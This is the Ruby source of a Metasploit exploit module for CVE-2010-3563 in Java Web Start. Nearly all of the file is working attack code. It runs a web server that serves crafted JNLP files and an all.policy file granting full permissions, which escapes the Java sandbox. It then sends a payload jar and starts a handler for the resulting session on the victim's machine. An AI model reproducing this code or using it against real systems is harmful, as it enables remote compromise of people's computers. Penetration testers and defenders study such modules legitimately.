140 lines
4.3 KiB
Ruby
140 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer
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# Internet explorer freaks out and shows the scary yellow info bar if this
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# is in an iframe. The exploit itself also creates a couple of scary popup
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# windows about "downloading application" that I haven't been able to
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# figure out how to prevent. For both of these reasons, don't include it
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# in Browser Autopwn.
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#include Msf::Exploit::Remote::BrowserAutopwn
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#autopwn_info({ :javascript => false })
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Sun Java Web Start BasicServiceImpl Code Execution',
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'Description' => %q{
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This module exploits a vulnerability in Java Runtime Environment
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that allows an attacker to escape the Java Sandbox. By injecting
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a parameter into a javaws call within the BasicServiceImpl class
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the default java sandbox policy file can be therefore overwritten.
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The vulnerability affects version 6 prior to update 22.
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NOTE: Exploiting this vulnerability causes several sinister-looking
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popup windows saying that Java is "Downloading application."
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Matthias Kaiser', # Discovery, PoC, metasploit module
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'egypt' # metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2010-3563' ],
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[ 'OSVDB', '69043' ],
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[ 'URL', 'http://mk41ser.blogspot.com' ],
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],
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'Platform' => %w{ java win },
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Windows x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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}
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],
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[ 'Generic (Java Payload)',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java',
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 12 2010'
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))
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end
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def on_request_uri( cli, request )
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jpath = get_uri(cli)
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case request.uri
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when /java.security.policy/
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print_status("Checking with HEAD")
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ack = "OK"
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send_response(cli, ack, { 'Content-Type' => 'application/x-java-jnlp-file' })
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when /all.policy/
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all = "grant {permission java.security.AllPermission;};\n"
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print_status("Sending all.policy")
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send_response(cli, all, { 'Content-Type' => 'application/octet-stream' })
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when /init.jnlp/
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init = <<-EOS
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<?xml version="1.0" encoding="UTF-8"?>
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<jnlp href="#{jpath}/init.jnlp" version="1">
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#{jnlp_info}
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<application-desc main-class="BasicServiceExploit">
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<argument>#{jpath}</argument>
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</application-desc>
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</jnlp>
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EOS
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print_status("Sending init.jnlp")
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send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' })
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when /exploit.jnlp/
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expl = <<-EOS
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<?xml version="1.0" encoding="UTF-8"?>
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<jnlp href="#{jpath}/exploit.jnlp" version="1">
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#{jnlp_info}
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<application-desc main-class="Exploit"/>
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</jnlp>
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EOS
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print_status("Sending exploit.jnlp")
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send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' })
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when /\.jar$/i
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p = regenerate_payload(cli)
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paths = [
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[ "BasicServiceExploit.class" ],
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[ "Exploit.class" ],
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]
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dir = [ Msf::Config.data_directory, "exploits", "cve-2010-3563" ]
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jar = p.encoded_jar
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jar.add_files(paths, dir)
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print_status("Sending Jar")
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send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
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handler(cli)
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else
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print_status("Sending redirect to init.jnlp")
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send_redirect(cli, get_resource() + '/init.jnlp', '')
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end
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end
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def jnlp_info
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buf = <<-EOS
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<information>
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<title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
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<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
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<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
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</information>
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<resources>
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<java version="1.6+"/>
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<jar href="#{get_uri}/exploit.jar"/>
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</resources>
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EOS
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end
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end
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